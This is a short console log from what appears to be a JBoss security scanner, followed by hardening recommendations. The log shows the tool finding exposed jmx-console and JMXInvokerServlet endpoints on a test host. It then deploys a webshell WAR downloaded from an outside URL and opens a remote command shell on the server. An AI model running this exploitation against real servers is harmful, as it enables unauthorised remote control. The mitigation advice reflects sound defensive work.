** Checking Host: https://site-teste.com **
* Checking web-console: [ OK ]
* Checking jmx-console: [ VULNERABLE ]
* Checking JMXInvokerServlet: [ VULNERABLE ]
* Do you want to try to run an automated exploitation via "jmx-console" ?
This operation will provide a simple command shell to execute commands on the server..
Continue only if you have permission!
yes/NO ? yes
* Sending exploit code to https://site-teste.com. Wait...
* Info: This exploit will force the server to deploy the webshell
available on: http://www.joaomatosf.com/rnp/jbossass.war
* Successfully deployed code! Starting command shell, wait...

Recommendations:
- Remove web consoles and services that are not used, eg:
$ rm web-console.war
$ rm http-invoker.sar
$ rm jmx-console.war
$ rm jmx-invoker-adaptor-server.sar
$ rm admin-console.war
- Use a reverse proxy (eg. nginx, apache, F5)
- Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)
- Search vestiges of exploitation within the directories "deploy" and "management".
